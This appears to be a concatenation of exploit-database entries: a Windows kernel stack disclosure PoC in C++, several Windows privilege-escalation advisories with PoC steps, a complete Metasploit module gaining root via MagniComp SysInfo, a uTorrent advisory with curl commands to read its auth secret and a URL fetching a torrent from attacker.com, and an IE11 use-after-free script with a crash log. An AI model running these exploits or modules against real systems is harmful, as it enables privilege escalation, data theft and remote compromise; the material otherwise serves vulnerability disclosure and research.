000000e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000230: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002c0: 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ................
--- cut ---
Offset 0x88 of the CONTEXT structure on x86 builds indeed corresponds to the 32-bit CONTEXT.FloatSave.Spare0 field. What's most interesting, however, is that the bug only exists on Windows 8 and 10; on Windows 7, we can see that the region obtained through alloca() is instantly zeroed-out with a memset() call:
--- cut ---
PAGE:0065EE86 call RtlGetExtendedContextLength(x,x)
PAGE:0065EE8B cmp eax, ebx
PAGE:0065EE8D jl loc_65EFDE
PAGE:0065EE93 mov eax, [ebp+var_2C]
PAGE:0065EE96 call __alloca_probe_16
PAGE:0065EE9B mov [ebp+ms_exc.old_esp], esp
PAGE:0065EE9E mov [ebp+var_3C], esp
PAGE:0065EEA1 push [ebp+var_2C] ; size_t
PAGE:0065EEA4 push ebx ; int
PAGE:0065EEA5 push [ebp+var_3C] ; void *
PAGE:0065EEA8 call _memset
--- cut ---
The function call is missing from Windows 8 and later systems, but we are not sure why this regression was introduced.
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <cstdio>
// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
__asm {mov eax, ApiNumber};
__asm {lea edx, ApiNumber + 4};
__asm {int 0x2e};
}
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
for (ULONG i = 0; i < size; i++) {
ptr[i] = byte;
}
}
VOID SprayKernelStack() {
// Windows 10 32-bit version 1709.
CONST ULONG __NR_NtGdiEngCreatePalette = 0x1296;
// Buffer allocated in static program memory, hence doesn't touch the local stack.
static BYTE buffer[1024];
// Fill the buffer with 'A's and spray the kernel stack.
MyMemset(buffer, 'A', sizeof(buffer));
SystemCall32(__NR_NtGdiEngCreatePalette, 1, sizeof(buffer) / sizeof(DWORD), buffer, 0, 0, 0);
// Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
MyMemset(buffer, 'B', sizeof(buffer));
}
int main() {
// Initialize the thread as GUI.
LoadLibrary(L"user32.dll");
CONTEXT ctx;
RtlZeroMemory(&ctx, sizeof(ctx));
ctx.ContextFlags = CONTEXT_FLOATING_POINT;
SprayKernelStack();
if (!GetThreadContext(GetCurrentThread(), &ctx)) {
printf("GetThreadContext failed, %d\n", GetLastError());
return 1;
}
PrintHex((PBYTE)&ctx, sizeof(ctx));
return 0;
}
Windows: Global Reparse Point Security Feature Bypass/Elevation of Privilege
Platform: Windows 10 1709 (functionality not present prior to this version)
Class: Security Feature Bypass/Elevation of Privilege
Summary: It’s possible to use the new Global Reparse Point functionality introduced in Windows 10 1709 to bypass the existing sandbox limitations of creating arbitrary file symbolic links.
Description:
Windows 10 introduced mitigations to prevent the abuse of various types of symbolic links when a process is running in a sandbox. This is a combination of outright blocking of the functionality (such as in the case of Registry Key symlinks) to doing checks on the target location so that the sandbox user can write to the location (in the case of Mount Points).
Fall Creator’s Update has introduced a new defined reparse tag, the Global Reparse Point (value 0xA0000019) which I assume is for Silo’s where a symlink can be added into the Silo’s visible namespaces which actually redirects to the global namespace. One user of this is the named pipe file system. It seems that nothing prevents you creating this type of reparse point on an NTFS volume, it doesn’t get checked by the kernel for the sandbox mitigation and because the NTFS driver ignores anything which isn’t a mount point or a ntfs symbolic link it will also not check for the SeCreateSymbolicLinkPrivilege. This symbolic link type works to reparse to any file type so you can create either a file or directory symbolic link. The reparse buffer is basically the same as the normal symbolic link one, but with a different tag. In fact strangely the named pipe file system passes back a buffer with the normal symbolic link tag but with the global reparse tag in the data structure passed back to IopParseDevice.
Outside of the behavior in sandboxes you might want to check that the reparse buffer is correctly verified. Normally the NTFS driver checks the structure of a reparse buffer using FsRtlValidateReparsePointBuffer but that function doesn’t know about the new reparse tag, so you could end up with completely untrusted data being passed into the object manager (NPFS synthesizes the reparse buffer so normally it would be trusted). I’ve not checked if you could trivially BSoD the machine through this approach.
Note that while NTFS symbolic links can be created without privileges in developer mode this bypass also allows a normal user to create them without developer mode being enabled so also acts as an EoP.
Proof of Concept:
I’ve provided a PoC as a C# project.
1) Compile the C# project. It will need to grab the NtApiDotNet from NuGet to work.
2) Run the poc as Low IL or an in AC passing on the command line the name of the symlink file to create and a target path. For example ‘poc c:\test\hello c:\windows’ will create a symlink ‘hello’ pointing at ‘c:\windows’. Make sure the destination name can be written to as the sandboxed user.
3) Open the symbolic link as a normal privileged user to see if the reparse target is followed.
Expected Result:
The creation of the symlink should fail with an error.
Observed Result:
The symlink is created, is valid and can be used to access the target.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44147.zip
Windows: Constrained Impersonation Capability EoP
Platform: Windows 10 1703/1709 (not tested earlier versions)
Class: Elevation of Privilege
Summary: It’s possible to use the constrained impersonation capability added in Windows 10 to impersonate a lowbox SYSTEM token leading to EoP.
Description:
Windows 10 added a new security check during impersonation of a token which relies on an AppContainer capability Constrained Impersonation which allows a LowBox process to impersonate another LowBox token, even if it’s for a different user, as long as it meets certain requirements. Specifically:
- The impersonation token’s session ID is the same as the current process’ session ID
- The impersonation token has the same AC package SID as the process’
- The impersonation token’s capability sids are a subset of the processes
I’d assume that the thoughts around the security of this constrained impersonation capability is preventing an exist lowbox process gaining that capability. However this can be abused from a normal user privilege level by creating a new AC process with the capability. As a normal user it’s possible to create a new lowbox token from an existing one which has any capabilities you like and the package SID can be arbitrary.
The only limiting factor is getting hold of a suitable token which has the same session ID. This is easy for example in UAC scenarios (including OTS elevation) but of course that’s a UAC bypass. There’s various tricks to get a SYSTEM token but most of the services run in Session 0. However there are a few processes running as SYSTEM but in the same session on a default install of Windows including CSRSS and Winlogon. There’s also the consent process which is part of UAC which is spawned in the user session. Therefore one way to get the token is to try and elevate a process running on a WebDAV share (hosted on localhost) and negotiate the NTLM/Negotiate auth in a similar way to previous issues I’ve reported (e.g. cases 21243 and 21878).
With a SYSTEM token handle it’s now possible to impersonate it as a lowbox from a normal user account. Of course this isn’t a direct privilege escalation as you can’t access administrator resources, however you can find system services which do the wrong thing. One example is code which just checks the Authentication ID of the token and assumes if it’s the SYSTEM ID then it’s trusted. A second example are AC processes which either run as SYSTEM or have tried to lock down themselves, a good example is the UMFD process, resources created by this process have access to SYSTEM as well as the package SID so you could inject code through hijacking a thread or one of the processes named resources. The final example are services which increase the IL of the caller, such as the print spooler bug I reported in case 41850, which you could get an arbitrary write as SYSTEM which gives you direct EoP.
Proof of Concept:
I’ve provided a PoC as a C# project. It implements a WebDAV server on localhost which will require authentication. Any user which tries to open a file on the share will have its token captured. It then uses UAC consent to get a call to the WebDAV server as a system token in the current session. Note that although I’m abusing UAC it’s not a UAC bypass, it’s just a convenient way of getting the token. This would still work in OTS UAC as the token happens before the process is actually executed (which means the password doesn’t have to be entered) so it’s still an issue. Once a suitable token has been captured the PoC spawns a new process in an AC and impersonates the system token on the main thread. It then abuses some functionality which was “fixed” in MS15-10, that it’s possible to open a service with SERVICE_STATUS access rights as long as the caller is SYSTEM. Admittedly this seemed to be a bogus fix as impersonation shouldn’t work like that in RPC, but in this case it doesn’t really matter as we can actually impersonate a SYSTEM token. The PoC stops at the point of getting a valid handle to the service, I’ve not worked out what you can usefully do with that handle, maybe start/stop a service you wouldn’t normally be able to?
1) Compile the C# project. It will need to grab the NtApiDotNet from NuGet to work.
2) In an admin command prompt run the command “netsh http add urlacl url=http://127.0.0.1:4444/WebDAV user=Everyone” this is to just allow the PoC to use the HttpListener class which saves me from writing my own HTTP server implementation. You could do it entirely manually and not require this step but it’s just an issue with the listener classes that you need to add an acl for it, I was just too lazy to write my own.
3) Run the NtlmAuth PoC, it should setup the WebDAV server, start the WebClient service and then start an UAC elevation on the WebDAV server to capture the token. It’ll then run the test binary to open the service.
4) Cancel the UAC elevation prompt. You should now see a message box on the desktop from the test binary saying Success.
Expected Result:
Impersonating the SYSTEM token in a LowBox shouldn’t be possible.
Observed Result:
The test binary is running while impersonating the SYSTEM token. It’s opened a handle to the WebClient service with SERVICE_STATUS access rights.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44149.zip
Windows: NPFS Symlink Security Feature Bypass/Elevation of Privilege/Dangerous Behavior
Platform: Windows 10 1709 (functionality not present prior to this version)
Class: Security Feature Bypass/Elevation of Privilege/Dangerous Behavior
Summary: It’s possible to create NPFS symlinks as a low IL or normal user and the implementation doesn’t behave in a similar manner to other types of Windows symlinks leading to dangerous behavior or EoP.
Description:
Windows 10 1709 introduced a new symlink feature to NPFS which is accessible from a FSCTL. From what I can see the implementation has a number of security issues which concern me:
1) Creation of symbolic links is only limited to a user which can open the root named pipe device. I.e. \Device\NamedPipe. This users which can open the device includes restricted tokens with the RESTRICTED SID and Low IL tokens.
2) Accessing a symlink results in the NPFS driver synthesizing a NTFS symlink reparse point which is passed back to the object manager. This allows the symlink to reparse to different devices. This is presumably by design but it’s dangerous behavior.
3) Opening a symlink doesn’t respect the FILE_OPEN_REPARSE_POINT which could lead to some unusual behavior.
The fact that you can create the symlink as a lower privileged user is bad enough, although I don’t believe it can be done from an AC so maybe you don’t care about it. But the other two issues are examples of dangerous behavior which _will_ come back to bite you at some point in the future.
Let’s take point 2 as an example, up to this point NPFS hasn’t had the concept of symbolic links. Sure you could drop an appropriate object manager symlink somewhere and get a caller to follow it but you’d need to be able to influence the callers path or their DOS device directory. With this if a privileged caller is expecting to open a named pipe, say \\.\pipe\ABC then ABC could actually be a symbolic link to a normal file. If the caller then just writes data to the pipe expecting it to be a stream they could actually be writing data into a file which might result in EoP. Basically I see it’s a case of when not if that a EoP bug is found which abuses this behavior.
Also, there’s no way I know of for detecting you’re opening a symbolic link. For example if you open the target with the FILE_OPEN_REPARSE_POINT flag it continues to do the reparse operation. Due to creating a normal NTFS symbolic link this might also have weird behavior when a remote system accessed a named pipe, although I’ve not tested that.
Overall I think the behavior of the implementation has the potential for malicious use and should be limited to privileged users. I don’t know it’s original purpose, perhaps it’s related to Silos (there is a flag to make a global symlink) or it’s to make it easier to implement named pipes in WSL, I don’t know. If the purpose is just to symlink between named pipes then perhaps only allow a caller to specify the name relative to the NPFS device rather than allowing a full object path.
Proof of Concept:
I’ve provided a PoC as a C# project. The PoC will create a symlink called ABC which points to notepad.exe. It will check the file file it opens via the symlink matches the file opened directly.
1) Compile the C# project. It will need to grab the NtApiDotNet from NuGet to work.
2) Run the poc as Low IL (using say psexec).
Expected Result:
The creation of the symlink should fail with an error.
Observed Result:
The symlink is created, is valid and the poc printed ‘Success’ as it’s opened the copy of notepad.exe via the symlink.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44148.zip
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'MagniComp SysInfo mcsiwrapper Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges on systems running
MagniComp SysInfo versions prior to 10-H64.
The .mcsiwrapper suid executable allows loading a config file using the
'--configfile' argument. The 'ExecPath' config directive is used to set
the executable load path. This module abuses this functionality to set
the load path resulting in execution of arbitrary code as root.
This module has been tested successfully with SysInfo version
10-H63 on Fedora 20 x86_64, 10-H32 on Fedora 27 x86_64, 10-H10 on
Debian 8 x86_64, and 10-GA on Solaris 10u11 x86.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Daniel Lawson', # Discovery and exploit
'Romain Trouve', # Discovery and exploit
'Brendan Coles' # Metasploit
],
'DisclosureDate' => 'Sep 23 2016',
'Platform' => %w(linux solaris),
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Solaris', { 'Platform' => 'solaris', 'Arch' => ARCH_X86 } ],
[ 'Linux', { 'Platform' => 'linux', 'Arch' => [ ARCH_X86, ARCH_X64 ]} ]
],
'References' =>
[
[ 'CVE', '2017-6516' ],
[ 'BID', '96934' ],
[ 'URL', 'http://www.magnicomp.com/support/cve/CVE-2017-6516.shtml' ],
[ 'URL', 'https://labs.mwrinfosecurity.com/advisories/magnicomps-sysinfo-root-setuid-local-privilege-escalation-vulnerability/' ],
[ 'URL', 'https://labs.mwrinfosecurity.com/advisories/multiple-vulnerabilities-in-magnicomps-sysinfo-root-setuid/' ]
]
))
register_options(
[
OptString.new('SYSINFO_DIR', [ true, 'Path to SysInfo directory', '/opt/sysinfo' ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
])
end
def sysinfo_dir
datastore['SYSINFO_DIR']
end
def check
unless cmd_exec("test -d #{sysinfo_dir} && echo true").include? 'true'
vprint_good "Directory '#{sysinfo_dir}' does not exist"
return CheckCode::Safe
end
vprint_good "Directory '#{sysinfo_dir}' exists"
mcsiwrapper_path = "#{sysinfo_dir}/bin/.mcsiwrapper"
unless setuid? mcsiwrapper_path
vprint_error "#{mcsiwrapper_path} is not setuid"
return CheckCode::Safe
end
vprint_good "#{mcsiwrapper_path} is setuid"
bash_path = cmd_exec 'which bash'
unless bash_path.start_with?('/') && bash_path.include?('bash')
vprint_error 'bash is not installed. Exploitation will fail.'
return CheckCode::Safe
end
vprint_good 'bash is installed'
config_version = cmd_exec "grep ProdVersion= #{sysinfo_dir}/config/mcsysinfo.cfg"
version = config_version.scan(/^ProdVersion=(\d+-H\d+|\d+-GA)$/).flatten.first
if version.blank?
vprint_error 'Could not determine the SysInfo version'
return CheckCode::Detected
end
if Gem::Version.new(version.sub('-H', '.')) >= Gem::Version.new('10.64')
vprint_error "SysInfo version #{version} is not vulnerable"
return CheckCode::Safe
end
vprint_good "SysInfo version #{version} is vulnerable"
CheckCode::Vulnerable
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end
def mkdir(path)
vprint_status "Creating '#{path}' directory"
cmd_exec "mkdir -p #{path}"
register_dir_for_cleanup path
end
def exploit
check_status = check
if check_status != CheckCode::Vulnerable && check_status != CheckCode::Detected
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
# Set target
uname = cmd_exec 'uname'
vprint_status "Operating system is #{uname}"
if target.name.eql? 'Automatic'
case uname
when /SunOS/i
my_target = targets[1]
when /Linux/i
my_target = targets[2]
else
fail_with Failure::NoTarget, 'Unable to automatically select a target'
end
else
my_target = target
end
print_status "Using target: #{my_target.name}"
# Check payload
if (my_target['Platform'].eql?('linux') && payload_instance.name !~ /linux/i) ||
(my_target['Platform'].eql?('solaris') && payload_instance.name !~ /solaris/i)
fail_with Failure::BadConfig, "Selected payload '#{payload_instance.name}' is not compatible with target operating system '#{my_target.name}'"
end
# Create a working directory
base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric rand(5..10)}"
mkdir base_path
# Write config file
config_path = "#{base_path}/#{rand_text_alphanumeric rand(5..10)}"
upload config_path, "ExecPath=#{base_path}"
# Upload payload
payload_name = rand_text_alphanumeric rand(5..10)
payload_path = "#{base_path}/#{payload_name}"
upload payload_path, generate_payload_exe
cmd_exec "chmod u+sx '#{payload_path}'"
print_status 'Executing payload...'
# Executing .mcsiwrapper directly errors:
# Command ".mcsiwrapper" cannot start with `.' or contain `/'.
# Instead, we execute with bash to replace ARGV[0] with the payload file name
output = cmd_exec "bash -c \"exec -a #{payload_name} #{sysinfo_dir}/bin/.mcsiwrapper --configfile #{config_path}&\""
output.each_line { |line| vprint_status line.chomp }
end
end
Windows: StorSvc SvcMoveFileInheritSecurity Arbitrary File Creation EoP
Platform: Windows 10 1709 (not tested earlier versions)
Class: Elevation of Privilege
Summary: The SvcMoveFileInheritSecurity RPC method in StorSvc can be used to move an arbitrary file to an arbitrary location resulting in elevation of privilege.
Description:
I was reading Clément Rouault & Thomas Imbert excellent PacSec’s slides on ALPC+RPC issues and they highlighted the SvcMoveFileInheritSecurity method used to exploit the ALPC bug CVE-2017-11783. The function impersonates the user and calls MoveFileEx to move the file to a new destination, then reverts the impersonation and tries to reset the security descriptor of the new file so that it matches the inheritable permissions. The ALPC bug in CVE-2017-11783 has apparently been fixed but the behavior of the SvcMoveFileInheritSecurity has not been modified as far as I can tell.
The main problem occurs if the call to SetNamedSecurityInfo fails, in that case the code tries to move the file back to its original location, however it does reassert the impersonation. This probably makes sense because it’s possible to have a file/directory which you can open for DELETE but without the rights to create a new file in the same directory. In the case the original move would succeed but the revert would fail. However there’s a TOCTOU issue in that the original path might have been replaced with a mount point which redirects the revert to a totally arbitrary location while running at SYSTEM. The exploit controls both the name and the contents of the file so this would be a trivial privilege escalation.
It’s possible to cause SetNamedSecurityInfo to fail just by adding a Deny ACE to the file for SYSTEM. This will cause the function to get ERROR_ACCESS_DENIED and the revert will take place. By placing an oplock on the original file open we can switch in a mount point and always win the race condition.
Ideally all operations should take place under user impersonation, but if that was the case there’d be no point in doing it in a SYSTEM service to begin with. Note that there’s a second issue specifically with SetNamedSecurityInfo which I’ve sent as a separate issue, just in case it gets missed.
Proof of Concept:
I’ve provided a PoC as a C++ project. It will abuse the SvcMoveFileInheritSecurity method to create the file test.txt in the windows folder.
1) Compile the C++ project.
2) Execute the PoC as a normal user.
Expected Result:
The file reversion fails trying to copy the file back to its original location.
Observed Result:
The file is reverted which results in the test.txt file being creating in c:\windows.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44152.zip
By default, utorrent create an HTTP RPC server on port 10000 (uTorrent classic) or 19575 (uTorrent web). There are numerous problems with these RPC servers that can be exploited by any website using XMLHTTPRequest(). To be clear, visiting *any* website is enough to compromise these applications.
uTorrent web (http://web.utorrent.com)
======================================
As the name suggests, uTorrent Web uses a web interface and is controlled by a browser as opposed to the desktop application. By default, uTorrent web is configured to startup with Windows, so will always be running and accessible. For authentication, a random token is generated and stored in a configuration file which must be passed as a URL parameter with all requests. When you click the uTorrent tray icon, a browser window is opened with the authentication token populated, it looks like this:
http://127.0.0.1:19575/gui/index.html?localauth=localapic3cfe21229a80938:
While not a particularly strong secret (8 bytes of std::random_device), it at least would make remote attacks non-trivial. Unfortunately however, the authentication secret is stored inside the webroot (wtf!?!?!?!), so you can just fetch the secret and gain complete control of the service.
$ curl -si http://localhost:19575/users.conf
HTTP/1.1 200 OK
Date: Wed, 31 Jan 2018 19:46:44 GMT
Last-Modified: Wed, 31 Jan 2018 19:37:50 GMT
Etag: "5a721b0e.92"
Content-Type: text/plain
Content-Length: 92
Connection: close
Accept-Ranges: bytes
localapi29c802274dc61fb4 bc676961df0f684b13adae450a57a91cd3d92c03 94bc897965398c8a07ff 2 1
This requires some simple dns rebinding to attack remotely, but once you have the secret you can just change the directory torrents are saved to, and then download any file anywhere writable. For example:
# change the download directory to the Startup folder.
http://127.0.0.1:19575/gui/?localauth=token:&action=setsetting&s=dir_active_download&v=C:/Users/All%20Users/Start%20Menu/Programs/Startup
# download a torrent containing calc.exe
http://127.0.0.1:19575/gui/?localauth=token:&action=add-url&url=http://attacker.com/calc.exe.torrent
I wrote a working exploit for this attack, available here:
http://lock.cmpxchg8b.com/Moer0kae.html
The authentication secret is not the only data accessible within the webroot - settings, crashdumps, logs and other data is also accessible. As this is a complete remote compromise of the default uTorrent web configuration, I didn't bother looking any further after finding this.
uTorrent Classic (https://www.utorrent.com/downloads/win)
=========================================================
By default utorrent Classic creates a JSON RPC server on port 10000, it's not clear to me that this was intentionally exposed to the web, as many endpoints crash or interfere with the UI. Here are some example actions that websites can take:
http://lock.cmpxchg8b.com/utorrent-crash-test.html
Nevertheless, browsing through the available endpoints I noticed that the /proxy/ handler is enabled and exposed by default, and allows any website to enumerate and copy any files you've downloaded. To be clear, any website you visit can read and copy every torrent you've downloaded. This works with the default configuration.
This requires brute forcing the "sid" which is a small integer that is incremented once for each torrent, this can be brute forced in seconds.
e.g.
$ curl -sI 'http://localhost:10000/proxy/0/?sid=2&file=0&callback=file'
HTTP/1.1 200 OK
Content-Type: audio/mpeg
Server: BitTorrentProxy/1.0
Connection: close
Accept-Ranges: bytes
ETag: "8FD54C339FE8B8A418CE2299AF2EADD9B1715D7A"
file is the index in a multi-file torrent (here there is just one file) and callback is a javascript callback. This means any website can find out what you've downloaded, and then just copy it from you - all the data.
I made a simple demo, screenshot of how it's supposed to look attached. It's really slow, but demonstrates that a website can enumerate and read any data you've downloaded via uTorrent.
http://lock.cmpxchg8b.com/Ahg8Aesh.html
Here is how I reproduced:
* On a fresh Windows 7 VM, install utorrent 3.5 (44294). Accept all default settings.
* File -> Add torrent from URL..., enter https://archive.org/download/SKODAOCTAVIA336x280/SKODAOCTAVIA336x280_archive.torrent
* When the torrent is finished (it's only about 5MB), visit this URL in Chrome: http://lock.cmpxchg8b.com/Ahg8Aesh.html
* Click "Start Attack"
* Wait a few minutes.
The page should have figured out the size and file type, and gives an option to steal the files. See screenshot attached.
----------
The utorrent binary disables ASLR and /GS. This is a really bad idea. (Note that the binary is UPX packed, but this doesn't change any security properties).
----------
I noticed that utorrent is using unmodified mersenne twister to generate authentication tokens and cookies, session identifiers, pairing keys, and so on. The PRNG is seeded with GetProcessId(), GetTickCount() etc. That is already not great quality seed data, but mersenne twister makes no guarantees that someone who can view sample output can't reconstruct the state of the PRNG.
This is actually one of the FAQs on the mersenne twister site:
http://www.math.sci.hiroshima-u.ac.jp/~m-mat/MT/efaq.html
This allows anyone to reconstruct things like pairing keys, webui session cookies, etc, etc. You can sample unlimited prng output, so this is a serious design flaw.
----------
Finally, a minor issue - the documentation for the "guest" account feature says many actions are disabled for security, but I tested it and that it plain isn't true:
$ curl -si 'http://guest@localhost:10000/gui/?action=getsettings&callback=error&btapp='
HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 16572
Content-Type: text/javascript
Set-Cookie: GUID=6yY1pkIHHMvvHo8tgOYu; path=/
Cache-Control: no-cache
{"build":44090,"settings": [
["install_modification_time",0,"0",{"access":"Y"}]
...
Perhaps this got broken at some point, but this feature is web-accessible, so this should probably be fixed (or suitable warnings added). I can't imagine many users enabled this, but those that did probably expected the security boundaries described in the documentation to be enforced.
<!--
There is a Use-after-free vulnerability in Internet Explorer that could potentially be used for memory disclosure.
This was tested on IE11 running on Window 7 64-bit with the latest patches applied. Note that the PoC was tested in a 64-bit tab process via TabProcGrowth=0 registry flag and the page heap was enabled for iexplore.exe (The PoC is somewhat unreliable so applying these settings might help with reproducing).
PoC:
=========================================
-->
<!-- saved from url=(0014)about:internet -->
<script>
var vars = new Array(2);
function main() {
vars[0] = Array(1000000).join(String.fromCharCode(0x41));
vars[1] = String.prototype.substring.call(vars[0], 1, vars[0].length);
String.prototype.replace.call(vars[1], RegExp(), f);
}
function f(arg1, arg2, arg3) {
alert(arg3);
vars[0] = 1;
CollectGarbage();
return 'a';
}
main();
</script>
<!--
=========================================
Debug log:
=========================================
(be0.c40): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
jscript9!Js::RegexHelper::RegexReplaceT<0>+0x122e5d:
000007fe`ecc3b26d 440fb73c41 movzx r15d,word ptr [rcx+rax*2] ds:00000000`18090022=????
0:013> r
rax=0000000000000000 rbx=0000000000000000 rcx=0000000018090022
rdx=0000000000000001 rsi=0000000000000000 rdi=0000000000000000
rip=000007feecc3b26d rsp=0000000011e4a590 rbp=0000000011e4a610
r8=fffc000000000000 r9=00000000000f423e r10=fffc000000000000
r11=0000000000000008 r12=0000000000000000 r13=00000000148c5340
r14=000007feec9b1240 r15=0000000000000000
iopl=0 nv up ei ng nz ac pe cy
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010293
jscript9!Js::RegexHelper::RegexReplaceT<0>+0x122e5d:
000007fe`ecc3b26d 440fb73c41 movzx r15d,word ptr [rcx+rax*2] ds:00000000`18090022=????
0:013> k
# Child-SP RetAddr Call Site
00 00000000`11e4a590 000007fe`eca1282d jscript9!Js::RegexHelper::RegexReplaceT<0>+0x122e5d
01 00000000`11e4a9d0 000007fe`ec9b9ee3 jscript9!Js::JavascriptString::EntryReplace+0x1e6
02 00000000`11e4aa70 000007fe`ec9b9b5d jscript9!amd64_CallFunction+0x93
03 00000000`11e4aad0 000007fe`eca325e9 jscript9!Js::JavascriptFunction::CallFunction<1>+0x6d
04 00000000`11e4ab10 000007fe`ec9b9ee3 jscript9!Js::JavascriptFunction::EntryCall+0xd9
05 00000000`11e4ab70 000007fe`ecbe6e56 jscript9!amd64_CallFunction+0x93
06 00000000`11e4abe0 000007fe`ec9bd8e0 jscript9!Js::InterpreterStackFrame::Process+0x1071
07 00000000`11e4af20 00000000`14cc0fbb jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x386
08 00000000`11e4b1a0 000007fe`ec9b9ee3 0x14cc0fbb
09 00000000`11e4b1d0 000007fe`ecbe6e56 jscript9!amd64_CallFunction+0x93
0a 00000000`11e4b220 000007fe`ec9bd8e0 jscript9!Js::InterpreterStackFrame::Process+0x1071
0b 00000000`11e4b560 00000000`14cc0fc3 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x386
0c 00000000`11e4b790 000007fe`ec9b9ee3 0x14cc0fc3
0d 00000000`11e4b7c0 000007fe`ec9b9b5d jscript9!amd64_CallFunction+0x93
0e 00000000`11e4b810 000007fe`ec9b9d2e jscript9!Js::JavascriptFunction::CallFunction<1>+0x6d
0f 00000000`11e4b850 000007fe`ec9b9e2f jscript9!Js::JavascriptFunction::CallRootFunction+0x110
10 00000000`11e4b930 000007fe`ec9b9d88 jscript9!ScriptSite::CallRootFunction+0x63
11 00000000`11e4b990 000007fe`ecae3a22 jscript9!ScriptSite::Execute+0x122
12 00000000`11e4ba20 000007fe`ecae2e75 jscript9!ScriptEngine::ExecutePendingScripts+0x208
13 00000000`11e4bb10 000007fe`ecae4924 jscript9!ScriptEngine::ParseScriptTextCore+0x4a5
14 00000000`11e4bc70 000007fe`e912fb61 jscript9!ScriptEngine::ParseScriptText+0xc4
15 00000000`11e4bd20 000007fe`e912f9cb MSHTML!CActiveScriptHolder::ParseScriptText+0xc1
16 00000000`11e4bda0 000007fe`e912f665 MSHTML!CJScript9Holder::ParseScriptText+0xf7
17 00000000`11e4be50 000007fe`e9130a3b MSHTML!CScriptCollection::ParseScriptText+0x28c
18 00000000`11e4bf30 000007fe`e91305be MSHTML!CScriptData::CommitCode+0x3d9
19 00000000`11e4c100 000007fe`e9130341 MSHTML!CScriptData::Execute+0x283
1a 00000000`11e4c1c0 000007fe`e98bfeac MSHTML!CHtmScriptParseCtx::Execute+0x101
